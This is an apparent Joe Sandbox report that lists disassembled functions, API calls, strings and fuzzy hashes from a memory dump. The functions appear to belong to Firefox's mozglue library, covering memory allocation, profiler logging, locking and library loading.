Opcode Fuzzy Hash: e68f3e131b410ff8ee4c2de222e3dd8c72554634315f990a31e3a76f97f9056b
Instruction Fuzzy Hash: 5A418E75700205DFDB00DF65C898AAE77B9FF89364F448069E60A9B7A1EB31E805CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CCE31A7), ref: 6CD1CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD1CFA4, 6CD1CFB8
<jemalloc>, xrefs: 6CD1CF9F, 6CD1CFB3

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 23ac72596767467f6f9cced91f982002950deab97cf3c175ff3bd008fa04ffb8
Instruction ID: f3ea90a63523504914d545248fecf1bb54f7b23e6f0a8fc5de1db641cb3b77d9
Opcode Fuzzy Hash: 23ac72596767467f6f9cced91f982002950deab97cf3c175ff3bd008fa04ffb8
Instruction Fuzzy Hash: 2E31A730749205ABFF14AFA69C45B7E7BB9AB81758F204025F611ABFE0DB70D400C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCEF100: LoadLibraryW.KERNEL32(shell32,?,6CD5D020), ref: 6CCEF122
Part of subcall function 6CCEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCEF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CCEED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCEEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CCEEDCC
CreateFileW.KERNEL32 ref: 6CCEEE08
free.MOZGLUE(00000000), ref: 6CCEEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CCEEE32

Part of subcall function 6CCEEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CCEEBB5
Part of subcall function 6CCEEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CD1D7F3), ref: 6CCEEBC3
Part of subcall function 6CCEEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CD1D7F3), ref: 6CCEEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CCEEDC1

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a79113c8b1efacb493f48f0d724b0acb3a6eb9923820a70e4a41953946e1eb98
Instruction ID: 16a8dbf5708ab835b2ea4eb028fb1a0d043691fdc7db696f0337416bb9a71274
Opcode Fuzzy Hash: a79113c8b1efacb493f48f0d724b0acb3a6eb9923820a70e4a41953946e1eb98
Instruction Fuzzy Hash: 4951DF71D053088BEB00DF69D8407EEB7B1AF5E358F44842DE8556BB80F730A988C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5A565

Part of subcall function 6CD5A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD5A4BE
Part of subcall function 6CD5A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD5A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CD5A6B6

Strings

0, xrefs: 6CD5A5FB
z, xrefs: 6CD5A6AE

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 509199b629c848a2052d295074b198d4216f21f5ce798d7a5d7c9fe4a4f91266
Instruction ID: 3bb2566fb886fd79660180571bdf3f842f0d0be5fe18e25d2cfa43159549f8d2
Opcode Fuzzy Hash: 509199b629c848a2052d295074b198d4216f21f5ce798d7a5d7c9fe4a4f91266
Instruction Fuzzy Hash: E7414B719087459FC741DF28C080A9FBBE5BF89354F808A2EF49987690EB30D559CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD29420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
__Init_thread_footer.LIBCMT ref: 6CD2949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CD2946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CD2947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CD29459

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 191a89b5866c3ba7f02c5acb6ae8c84381ede3ca77ac05ef010439038cfd5e74
Instruction ID: 916fc87e0b514ffd10c22423f61eb86695bce9487a538378589312450d76d9ac
Opcode Fuzzy Hash: 191a89b5866c3ba7f02c5acb6ae8c84381ede3ca77ac05ef010439038cfd5e74
Instruction Fuzzy Hash: 4F01F570A04501C7FB00DBAED820A653278AB4532DF04053FDB4A86E61D635E45AC96A

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CD5B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CD5B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CD5B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CD5B5F4
__Init_thread_footer.LIBCMT ref: 6CD5B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CD5B61F
std::_Facet_Register.LIBCPMT ref: 6CD5B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD5B655

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d2aa94237d2b8ffc18422edaafea9a979859b02205ab7113d736b29502ae6e00
Instruction ID: e99aa5d004fffacca175322967787633259691080226c0f1fe1d51af38bfbed1
Opcode Fuzzy Hash: d2aa94237d2b8ffc18422edaafea9a979859b02205ab7113d736b29502ae6e00
Instruction Fuzzy Hash: D731B472B00114DBDF009B6AC8589BEB7B9FB8A324F500515E606977D0DB30A816CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD31D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD31D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CD31BE3,?,?,6CD31D96,00000000), ref: 6CD31D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CD31BE3,?,?,6CD31D96,00000000), ref: 6CD31D4C
GetCurrentThreadId.KERNEL32 ref: 6CD31DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD31DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD31DDA

Part of subcall function 6CD31EF0: GetCurrentThreadId.KERNEL32 ref: 6CD31F03
Part of subcall function 6CD31EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CD31DF2,00000000,00000000), ref: 6CD31F0C
Part of subcall function 6CD31EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CD31F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CD31DF4

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 3604845197328b6b3a91eadd386b1159d7b95dc5e1db81876d7717192cdea9d5
Instruction ID: cdfd4b74d8caf9b277a6f46fe0be38951c32ce7069477e2d3038e921a9ce717d
Opcode Fuzzy Hash: 3604845197328b6b3a91eadd386b1159d7b95dc5e1db81876d7717192cdea9d5
Instruction Fuzzy Hash: 20416AB5200701AFDB10DF25C488B66BBF9FB8A314F10442DEA5A87B91DB71F854CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD285AC

Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2767F
Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD27693
Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD285B2

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8f2dd28062fdbe704ed0293adb09d251770537f7fbfbc92b85f4c78586f901ec
Instruction ID: 9386df77eafd128494aec59a12333440fa508b66116ce7afe4d8dd409c2e91c9
Opcode Fuzzy Hash: 8f2dd28062fdbe704ed0293adb09d251770537f7fbfbc92b85f4c78586f901ec
Instruction Fuzzy Hash: 1221D3712006019FEB14DB25C888A6AB7B9BF8430DF14482DE68BC3B51DB35F948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCF1699
VerSetConditionMask.NTDLL ref: 6CCF16CB
VerSetConditionMask.NTDLL ref: 6CCF16D7
VerSetConditionMask.NTDLL ref: 6CCF16DE
VerSetConditionMask.NTDLL ref: 6CCF16E5
VerSetConditionMask.NTDLL ref: 6CCF16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCF16F9

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 25bb59d8daaefde05f19518af5992ea76dd57c971a74d64e76d9d15c10cb1a76
Instruction ID: 0a0f00773f42c019d14948538740e5ed52b28928ec4541e76a9cbbb4819d58be
Opcode Fuzzy Hash: 25bb59d8daaefde05f19518af5992ea76dd57c971a74d64e76d9d15c10cb1a76
Instruction Fuzzy Hash: A321DCF07402086BFB106B6A8C85FBBB2BCEF9A704F004528F6059B6C0D6749D54CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CD2F598), ref: 6CD2F621

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F637
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F645
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CD2F62A

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: aacd4a40275d2d4c10f6175d112d7c2bb89787c1210bbdec8f1201fefaa0e309
Instruction ID: 66e107abffd0c5019e51ca336fd73943ebb9c6e9c9aa894e2e41f9abf6954fbe
Opcode Fuzzy Hash: aacd4a40275d2d4c10f6175d112d7c2bb89787c1210bbdec8f1201fefaa0e309
Instruction Fuzzy Hash: 7511C171205614ABEB04AF5AC948AB5777DFB8635CF100419FB0583F61CB36A815CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CD1D9F0,00000000), ref: 6CCF0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CCF0F3C
__Init_thread_footer.LIBCMT ref: 6CCF0F50
FreeLibrary.KERNEL32(?,6CD1D9F0,00000000), ref: 6CCF0F86

Strings

CoInitializeEx, xrefs: 6CCF0F36
combase.dll, xrefs: 6CCF0F18

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 28d6097c5e1d05f9dd0b6090ed4d012d5c5100cfff7f8af1b38c55e2d27434ee
Instruction ID: 847cdf90974fa7b3b1f147270bbee7a3f20cb3cc99022b9657de2927323ec372
Opcode Fuzzy Hash: 28d6097c5e1d05f9dd0b6090ed4d012d5c5100cfff7f8af1b38c55e2d27434ee
Instruction Fuzzy Hash: 1A1186747056409BFF40CF57C918B6A377CFB4A726F00421AEB1592B81E730A806CA76

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F561

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F577
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F585
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CD2F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CD2F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CD2F3A8
[I %d/%d] profiler_resume, xrefs: 6CD2F239

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f8cce59d69a2f913a961ab8b06f3d7496892aeeeaaa001c1289d1e811270890d
Instruction ID: a997633db73e9a7f491fb945d3849ee33f0fb8ad6e6848a84365336402dbb44a
Opcode Fuzzy Hash: f8cce59d69a2f913a961ab8b06f3d7496892aeeeaaa001c1289d1e811270890d
Instruction Fuzzy Hash: A5F05475700204ABFB006B67D848A7A7BBDEB8625DF000419FB0587B52DB759809C775

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CCF0DF8), ref: 6CCF0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CCF0EA1
__Init_thread_footer.LIBCMT ref: 6CCF0EB5
FreeLibrary.KERNEL32 ref: 6CCF0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CCF0E9B
kernel32.dll, xrefs: 6CCF0E7D

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 71129e4045bad8300b580ccbdad0443a1c93384cfcf0b91ea5f5fded9b38fa09
Instruction ID: 594b6ed1ffd50a952dd9e103d572e8b32f7f3600dc4442ba7e8e9af97c6efbc9
Opcode Fuzzy Hash: 71129e4045bad8300b580ccbdad0443a1c93384cfcf0b91ea5f5fded9b38fa09
Instruction Fuzzy Hash: 74014F70714A81DBFF00AF9BD914B61B3B9FB46719F101515EA5582F90EB30A41ADA21

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
